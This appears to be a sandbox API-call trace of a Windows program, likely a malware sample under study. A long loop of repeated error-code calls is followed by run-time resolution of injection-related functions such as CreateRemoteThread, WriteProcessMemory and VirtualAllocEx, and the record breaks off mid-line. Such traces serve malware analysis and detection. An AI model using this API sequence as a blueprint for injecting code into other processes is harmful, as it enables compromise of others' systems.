[0236.350] SetLastError (dwErrCode=0x2cd) [0236.350] GetLastError () returned 0x2cd [0236.350] GetCurrentThread () returned 0xfffffffe [0236.350] SetLastError (dwErrCode=0x2d1) [0236.350] GetLastError () returned 0x2d1 [0236.351] GetCurrentThread () returned 0xfffffffe [0236.351] SetLastError (dwErrCode=0x2d5) [0236.351] GetLastError () returned 0x2d5 [0236.351] GetCurrentThread () returned 0xfffffffe [0236.351] SetLastError (dwErrCode=0x2d9) [0236.351] GetLastError () returned 0x2d9 [0236.351] GetCurrentThread () returned 0xfffffffe [0236.351] SetLastError (dwErrCode=0x2dd) [0236.351] GetLastError () returned 0x2dd [0236.351] GetCurrentThread () returned 0xfffffffe [0236.352] SetLastError (dwErrCode=0x2e1) [0236.352] GetLastError () returned 0x2e1 [0236.352] GetCurrentThread () returned 0xfffffffe [0236.352] SetLastError (dwErrCode=0x2e5) [0236.352] GetLastError () returned 0x2e5 [0236.352] GetCurrentThread () returned 0xfffffffe [0236.352] SetLastError (dwErrCode=0x2e9) [0236.352] GetLastError () returned 0x2e9 [0236.352] GetCurrentThread () returned 0xfffffffe [0236.352] SetLastError (dwErrCode=0x2ed) [0236.352] GetLastError () returned 0x2ed [0236.352] GetCurrentThread () returned 0xfffffffe [0236.352] SetLastError (dwErrCode=0x2f1) [0236.352] GetLastError () returned 0x2f1 [0236.352] GetCurrentThread () returned 0xfffffffe [0236.352] SetLastError (dwErrCode=0x2f5) [0236.352] GetLastError () returned 0x2f5 [0236.352] GetCurrentThread () returned 0xfffffffe [0236.352] SetLastError (dwErrCode=0x2f9) [0236.352] GetLastError () returned 0x2f9 [0236.352] GetCurrentThread () returned 0xfffffffe [0236.352] SetLastError (dwErrCode=0x2fd) [0236.352] GetLastError () returned 0x2fd [0236.352] GetCurrentThread () returned 0xfffffffe [0236.352] SetLastError (dwErrCode=0x301) [0236.352] GetLastError () returned 0x301 [0236.352] GetCurrentThread () returned 0xfffffffe [0236.352] SetLastError (dwErrCode=0x305) [0236.352] GetLastError () returned 0x305 [0236.352] GetCurrentThread () returned 0xfffffffe [0236.352] SetLastError (dwErrCode=0x309) [0236.352] GetLastError () returned 0x309 [0236.352] GetCurrentThread () returned 0xfffffffe [0236.352] SetLastError (dwErrCode=0x30d) [0236.352] GetLastError () returned 0x30d [0236.352] GetCurrentThread () returned 0xfffffffe [0236.352] SetLastError (dwErrCode=0x311) [0236.352] GetLastError () returned 0x311 [0236.352] GetCurrentThread () returned 0xfffffffe [0236.352] SetLastError (dwErrCode=0x315) [0236.353] GetLastError () returned 0x315 [0236.353] GetCurrentThread () returned 0xfffffffe [0236.353] SetLastError (dwErrCode=0x319) [0236.353] GetLastError () returned 0x319 [0236.353] GetCurrentThread () returned 0xfffffffe [0236.353] SetLastError (dwErrCode=0x31d) [0236.353] GetLastError () returned 0x31d [0236.353] GetCurrentThread () returned 0xfffffffe [0236.353] SetLastError (dwErrCode=0x321) [0236.353] GetLastError () returned 0x321 [0236.353] GetCurrentThread () returned 0xfffffffe [0236.353] SetLastError (dwErrCode=0x325) [0236.353] GetLastError () returned 0x325 [0236.353] GetCurrentThread () returned 0xfffffffe [0236.353] SetLastError (dwErrCode=0x329) [0236.353] GetLastError () returned 0x329 [0236.353] GetCurrentThread () returned 0xfffffffe [0236.353] SetLastError (dwErrCode=0x32d) [0236.353] GetLastError () returned 0x32d [0236.353] GetCurrentThread () returned 0xfffffffe [0236.353] SetLastError (dwErrCode=0x331) [0236.353] GetLastError () returned 0x331 [0236.353] GetCurrentThread () returned 0xfffffffe [0236.353] SetLastError (dwErrCode=0x335) [0236.353] GetLastError () returned 0x335 [0236.353] GetCurrentThread () returned 0xfffffffe [0236.353] SetLastError (dwErrCode=0x339) [0236.353] GetLastError () returned 0x339 [0236.353] GetCurrentThread () returned 0xfffffffe [0236.353] SetLastError (dwErrCode=0x33d) [0236.353] GetLastError () returned 0x33d [0236.353] GetCurrentThread () returned 0xfffffffe [0236.353] SetLastError (dwErrCode=0x341) [0236.353] GetLastError () returned 0x341 [0236.353] GetCurrentThread () returned 0xfffffffe [0236.353] SetLastError (dwErrCode=0x345) [0236.353] GetLastError () returned 0x345 [0236.353] GetCurrentThread () returned 0xfffffffe [0236.353] SetLastError (dwErrCode=0x349) [0236.353] GetLastError () returned 0x349 [0236.353] GetCurrentThread () returned 0xfffffffe [0236.353] SetLastError (dwErrCode=0x34d) [0236.354] GetLastError () returned 0x34d [0236.354] GetCurrentThread () returned 0xfffffffe [0236.354] SetLastError (dwErrCode=0x351) [0236.354] GetLastError () returned 0x351 [0236.354] GetCurrentThread () returned 0xfffffffe [0236.354] SetLastError (dwErrCode=0x355) [0236.354] GetLastError () returned 0x355 [0236.354] GetCurrentThread () returned 0xfffffffe [0236.354] SetLastError (dwErrCode=0x359) [0236.354] GetLastError () returned 0x359 [0236.354] GetCurrentThread () returned 0xfffffffe [0236.354] SetLastError (dwErrCode=0x35d) [0236.354] GetLastError () returned 0x35d [0236.354] GetCurrentThread () returned 0xfffffffe [0236.354] SetLastError (dwErrCode=0x361) [0236.354] GetLastError () returned 0x361 [0236.354] GetCurrentThread () returned 0xfffffffe [0236.354] SetLastError (dwErrCode=0x365) [0236.354] GetLastError () returned 0x365 [0236.354] GetCurrentThread () returned 0xfffffffe [0236.354] SetLastError (dwErrCode=0x369) [0236.354] GetLastError () returned 0x369 [0236.354] GetCurrentThread () returned 0xfffffffe [0236.354] SetLastError (dwErrCode=0x36d) [0236.354] GetLastError () returned 0x36d [0236.354] GetCurrentThread () returned 0xfffffffe [0236.354] SetLastError (dwErrCode=0x371) [0236.354] GetLastError () returned 0x371 [0236.354] GetCurrentThread () returned 0xfffffffe [0236.354] SetLastError (dwErrCode=0x375) [0236.354] GetLastError () returned 0x375 [0236.354] GetCurrentThread () returned 0xfffffffe [0236.354] SetLastError (dwErrCode=0x379) [0236.354] GetLastError () returned 0x379 [0236.354] GetCurrentThread () returned 0xfffffffe [0236.354] SetLastError (dwErrCode=0x37d) [0236.354] GetLastError () returned 0x37d [0236.355] GetCurrentThread () returned 0xfffffffe [0236.355] SetLastError (dwErrCode=0x381) [0236.355] GetLastError () returned 0x381 [0236.355] GetCurrentThread () returned 0xfffffffe [0236.355] SetLastError (dwErrCode=0x385) [0236.355] GetLastError () returned 0x385 [0236.355] GetCurrentThread () returned 0xfffffffe [0236.355] SetLastError (dwErrCode=0x389) [0236.355] GetLastError () returned 0x389 [0236.355] GetCurrentThread () returned 0xfffffffe [0236.355] SetLastError (dwErrCode=0x38d) [0236.355] GetLastError () returned 0x38d [0236.355] GetCurrentThread () returned 0xfffffffe [0236.355] SetLastError (dwErrCode=0x391) [0236.355] GetLastError () returned 0x391 [0236.355] GetCurrentThread () returned 0xfffffffe [0236.355] SetLastError (dwErrCode=0x395) [0236.355] GetLastError () returned 0x395 [0236.355] GetCurrentThread () returned 0xfffffffe [0236.355] SetLastError (dwErrCode=0x399) [0236.355] GetLastError () returned 0x399 [0236.355] GetCurrentThread () returned 0xfffffffe [0236.355] SetLastError (dwErrCode=0x39d) [0236.356] GetLastError () returned 0x39d [0236.356] GetCurrentThread () returned 0xfffffffe [0236.356] SetLastError (dwErrCode=0x3a1) [0236.356] GetLastError () returned 0x3a1 [0236.356] GetCurrentThread () returned 0xfffffffe [0236.356] SetLastError (dwErrCode=0x3a5) [0236.356] GetLastError () returned 0x3a5 [0236.356] GetCurrentThread () returned 0xfffffffe [0236.356] SetLastError (dwErrCode=0x3a9) [0236.356] GetLastError () returned 0x3a9 [0236.356] GetCurrentThread () returned 0xfffffffe [0236.356] SetLastError (dwErrCode=0x3ad) [0236.356] GetLastError () returned 0x3ad [0236.356] GetCurrentThread () returned 0xfffffffe [0236.356] SetLastError (dwErrCode=0x3b1) [0236.356] GetLastError () returned 0x3b1 [0236.356] GetCurrentThread () returned 0xfffffffe [0236.356] SetLastError (dwErrCode=0x3b5) [0236.356] GetLastError () returned 0x3b5 [0236.356] GetCurrentThread () returned 0xfffffffe [0236.356] SetLastError (dwErrCode=0x3b9) [0236.356] GetLastError () returned 0x3b9 [0236.356] GetCurrentThread () returned 0xfffffffe [0236.356] SetLastError (dwErrCode=0x3bd) [0236.356] GetLastError () returned 0x3bd [0236.356] GetCurrentThread () returned 0xfffffffe [0236.356] SetLastError (dwErrCode=0x3c1) [0236.356] GetLastError () returned 0x3c1 [0236.356] GetCurrentThread () returned 0xfffffffe [0236.356] SetLastError (dwErrCode=0x3c5) [0236.356] GetLastError () returned 0x3c5 [0236.356] GetCurrentThread () returned 0xfffffffe [0236.356] SetLastError (dwErrCode=0x3c9) [0236.356] GetLastError () returned 0x3c9 [0236.356] GetCurrentThread () returned 0xfffffffe [0236.357] SetLastError (dwErrCode=0x3cd) [0236.357] GetLastError () returned 0x3cd [0236.357] GetCurrentThread () returned 0xfffffffe [0236.357] SetLastError (dwErrCode=0x3d1) [0236.357] GetLastError () returned 0x3d1 [0236.357] GetCurrentThread () returned 0xfffffffe [0236.357] SetLastError (dwErrCode=0x3d5) [0236.357] GetLastError () returned 0x3d5 [0236.357] GetCurrentThread () returned 0xfffffffe [0236.357] SetLastError (dwErrCode=0x3d9) [0236.357] GetLastError () returned 0x3d9 [0236.357] GetCurrentThread () returned 0xfffffffe [0236.357] SetLastError (dwErrCode=0x3dd) [0236.357] GetLastError () returned 0x3dd [0236.357] GetCurrentThread () returned 0xfffffffe [0236.357] SetLastError (dwErrCode=0x3e1) [0236.357] GetLastError () returned 0x3e1 [0236.357] GetCurrentThread () returned 0xfffffffe [0236.357] SetLastError (dwErrCode=0x3e5) [0236.357] GetLastError () returned 0x3e5 [0236.357] GetCurrentThread () returned 0xfffffffe [0236.357] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x100) returned 0x261f5a8 [0236.357] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x373c) returned 0x25a04a0 [0236.358] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f6b0 [0236.358] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x11) returned 0x261f6c8 [0236.358] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0236.358] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleA") returned 0x745750b0 [0236.358] lstrlenA (lpString="kernel32.dll") returned 12 [0236.358] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.358] lstrlenA (lpString="GetModuleHandleA") returned 16 [0236.358] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6c8 | out: hHeap=0x25a0000) returned 1 [0236.358] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f6b0 [0236.358] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261f6c8 [0236.358] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0236.358] lstrlenA (lpString="kernel32.dll") returned 12 [0236.358] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.358] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0236.359] lstrlenA (lpString="GetProcAddress") returned 14 [0236.359] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6c8 | out: hHeap=0x25a0000) returned 1 [0236.359] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x19) returned 0x261f6b0 [0236.359] GetProcAddress (hModule=0x74560000, lpProcName="CreateToolhelp32Snapshot") returned 0x745aedc0 [0236.359] lstrlenA (lpString="CreateToolhelp32Snapshot") returned 24 [0236.359] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.359] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261f6b0 [0236.359] GetProcAddress (hModule=0x74560000, lpProcName="Process32First") returned 0x745af810 [0236.359] lstrlenA (lpString="Process32First") returned 14 [0236.359] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.359] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261f6b0 [0236.359] GetProcAddress (hModule=0x74560000, lpProcName="Process32Next") returned 0x745af9a0 [0236.359] lstrlenA (lpString="Process32Next") returned 13 [0236.359] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.359] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261f6b0 [0236.360] GetProcAddress (hModule=0x74560000, lpProcName="Module32First") returned 0x745afc90 [0236.360] lstrlenA (lpString="Module32First") returned 13 [0236.360] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.360] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f6b0 [0236.360] GetProcAddress (hModule=0x74560000, lpProcName="Module32Next") returned 0x745afe30 [0236.360] lstrlenA (lpString="Module32Next") returned 12 [0236.360] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.360] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f6b0 [0236.360] GetProcAddress (hModule=0x74560000, lpProcName="CreateRemoteThread") returned 0x74574670 [0236.360] lstrlenA (lpString="CreateRemoteThread") returned 18 [0236.360] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.360] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f6b0 [0236.360] GetProcAddress (hModule=0x74560000, lpProcName="WriteProcessMemory") returned 0x74576b70 [0236.360] lstrlenA (lpString="WriteProcessMemory") returned 18 [0236.360] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.360] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x12) returned 0x261f6b0 [0236.361] GetProcAddress (hModule=0x74560000, lpProcName="ReadProcessMemory") returned 0x74575e30 [0236.361] lstrlenA (lpString="ReadProcessMemory") returned 17 [0236.361] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.361] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261f6b0 [0236.361] GetProcAddress (hModule=0x74560000, lpProcName="OpenProcess") returned 0x74575cc0 [0236.361] lstrlenA (lpString="OpenProcess") returned 11 [0236.361] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.361] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261f6b0 [0236.361] GetProcAddress (hModule=0x74560000, lpProcName="VirtualAllocEx") returned 0x74576990 [0236.361] lstrlenA (lpString="VirtualAllocEx") returned 14 [0236.361] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.361] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261f6b0 [0236.361] GetProcAddress (hModule=0x74560000, lpProcName="VirtualFreeEx") returned 0x745769f0 [0236.361] lstrlenA (lpString="VirtualFreeEx") returned 13 [0236.361] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.362] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261f6b0 [0236.362] GetProcAddress (hModule=0x74560000, lpProcName="VirtualProtect") returned 0x74576a30 [0236.362] lstrlenA (lpString="VirtualProtect") returned 14 [0236.362] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.362] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x14) returned 0x261f6b0 [0236.362] GetProcAddress (hModule=0x74560000, lpProcName="WaitForSingleObject") returned 0x745ceca0 [0236.362] lstrlenA (lpString="WaitForSingleObject") returned 19 [0236.362] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.362] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f6b0 [0236.362] GetProcAddress (hModule=0x74560000, lpProcName="SetLastError") returned 0x74574f00 [0236.362] lstrlenA (lpString="SetLastError") returned 12 [0236.362] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.362] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x15) returned 0x261f6b0 [0236.362] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentDirectoryA") returned 0x74574e60 [0236.362] lstrlenA (lpString="GetCurrentDirectoryA") returned 20 [0236.362] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.362] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x15) returned 0x261f6b0 [0236.363] GetProcAddress (hModule=0x74560000, lpProcName="SetCurrentDirectoryA") returned 0x74576480 [0236.363] lstrlenA (lpString="SetCurrentDirectoryA") returned 20 [0236.363] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.363] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261f6b0 [0236.363] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessA") returned 0x745745b0 [0236.363] lstrlenA (lpString="CreateProcessA") returned 14 [0236.363] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.363] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f6b0 [0236.363] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleFileNameA") returned 0x74575070 [0236.363] lstrlenA (lpString="GetModuleFileNameA") returned 18 [0236.363] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.363] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261f6b0 [0236.363] GetProcAddress (hModule=0x74560000, lpProcName="SetFilePointer") returned 0x745cf120 [0236.363] lstrlenA (lpString="SetFilePointer") returned 14 [0236.363] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.363] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f6b0 [0236.363] GetProcAddress (hModule=0x74560000, lpProcName="SetEndOfFile") returned 0x745cf0e0 [0236.363] lstrlenA (lpString="SetEndOfFile") returned 12 [0236.364] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.364] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261f6b0 [0236.364] GetProcAddress (hModule=0x74560000, lpProcName="FindFirstFileA") returned 0x745cedb0 [0236.364] lstrlenA (lpString="FindFirstFileA") returned 14 [0236.364] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.364] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261f6b0 [0236.364] GetProcAddress (hModule=0x74560000, lpProcName="FindNextFileA") returned 0x745cee20 [0236.364] lstrlenA (lpString="FindNextFileA") returned 13 [0236.364] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.364] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261f6b0 [0236.364] GetProcAddress (hModule=0x74560000, lpProcName="FindClose") returned 0x745ced70 [0236.364] lstrlenA (lpString="FindClose") returned 9 [0236.364] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.364] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261f6b0 [0236.364] GetProcAddress (hModule=0x74560000, lpProcName="CreateFileA") returned 0x745ced00 [0236.364] lstrlenA (lpString="CreateFileA") returned 11 [0236.364] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.364] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261f6b0 [0236.365] GetProcAddress (hModule=0x74560000, lpProcName="CreateFileW") returned 0x745ced10 [0236.365] lstrlenA (lpString="CreateFileW") returned 11 [0236.365] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.365] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261f6b0 [0236.365] GetProcAddress (hModule=0x74560000, lpProcName="ReadFile") returned 0x745cf090 [0236.365] lstrlenA (lpString="ReadFile") returned 8 [0236.365] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.365] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261f6b0 [0236.365] GetProcAddress (hModule=0x74560000, lpProcName="WriteFile") returned 0x745cf180 [0236.365] lstrlenA (lpString="WriteFile") returned 9 [0236.365] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.365] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261f6b0 [0236.365] GetProcAddress (hModule=0x74560000, lpProcName="CloseHandle") returned 0x745ceab0 [0236.365] lstrlenA (lpString="CloseHandle") returned 11 [0236.365] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.365] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261f6b0 [0236.365] GetProcAddress (hModule=0x74560000, lpProcName="DeleteFileA") returned 0x745ced30 [0236.365] lstrlenA (lpString="DeleteFileA") returned 11 [0236.365] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.366] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f6b0 [0236.366] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryA") returned 0x74575a80 [0236.366] lstrlenA (lpString="LoadLibraryA") returned 12 [0236.366] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.366] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f6b0 [0236.366] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentThreadId") returned 0x74578820 [0236.366] lstrlenA (lpString="GetCurrentThreadId") returned 18 [0236.366] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.366] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261f6b0 [0236.366] GetProcAddress (hModule=0x74560000, lpProcName="MoveFileA") returned 0x745ae410 [0236.366] lstrlenA (lpString="MoveFileA") returned 9 [0236.366] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.366] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261f6b0 [0236.366] GetProcAddress (hModule=0x74560000, lpProcName="LocalFree") returned 0x74575b40 [0236.367] lstrlenA (lpString="LocalFree") returned 9 [0236.367] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.367] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x11) returned 0x261f6b0 [0236.367] GetProcAddress (hModule=0x74560000, lpProcName="CreateDirectoryA") returned 0x745cecd0 [0236.367] lstrlenA (lpString="CreateDirectoryA") returned 16 [0236.367] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.367] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x16) returned 0x261f6b0 [0236.368] GetProcAddress (hModule=0x74560000, lpProcName="GetVolumeInformationW") returned 0x745cf020 [0236.368] lstrlenA (lpString="GetVolumeInformationW") returned 21 [0236.368] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.368] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f6b0 [0236.368] GetProcAddress (hModule=0x74560000, lpProcName="CreateThread") returned 0x745746b0 [0236.368] lstrlenA (lpString="CreateThread") returned 12 [0236.368] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.368] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261f6b0 [0236.368] GetProcAddress (hModule=0x74560000, lpProcName="OpenThread") returned 0x74575ce0 [0236.368] lstrlenA (lpString="OpenThread") returned 10 [0236.368] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.368] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x1a) returned 0x261f6b0 [0236.368] GetProcAddress (hModule=0x74560000, lpProcName="ExpandEnvironmentStringsW") returned 0x74574a40 [0236.368] lstrlenA (lpString="ExpandEnvironmentStringsW") returned 25 [0236.368] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.368] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x11) returned 0x261f6b0 [0236.368] GetProcAddress (hModule=0x74560000, lpProcName="VirtualProtectEx") returned 0x74576a50 [0236.368] lstrlenA (lpString="VirtualProtectEx") returned 16 [0236.368] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.368] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f6b0 [0236.369] GetProcAddress (hModule=0x74560000, lpProcName="GetFileAttributesW") returned 0x745cef10 [0236.369] lstrlenA (lpString="GetFileAttributesW") returned 18 [0236.369] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.369] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261f6b0 [0236.369] GetProcAddress (hModule=0x74560000, lpProcName="FindResourceA") returned 0x745b27c0 [0236.369] lstrlenA (lpString="FindResourceA") returned 13 [0236.369] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.369] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261f6b0 [0236.369] GetProcAddress (hModule=0x74560000, lpProcName="SizeofResource") returned 0x74576740 [0236.369] lstrlenA (lpString="SizeofResource") returned 14 [0236.369] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.369] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f6b0 [0236.369] GetProcAddress (hModule=0x74560000, lpProcName="LoadResource") returned 0x74575b00 [0236.369] lstrlenA (lpString="LoadResource") returned 12 [0236.369] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.369] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261f6b0 [0236.369] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessW") returned 0x74574610 [0236.369] lstrlenA (lpString="CreateProcessW") returned 14 [0236.369] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f6b0 | out: hHeap=0x25a0000) returned 1 [0236.369] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x17) returned 0x261f6b0 [0236.370] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessInternalW") returned 0x745745f0 [0236.370] lstrlenA (lpString="CreateProcessInternalW") returned 22 [0236.370] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, 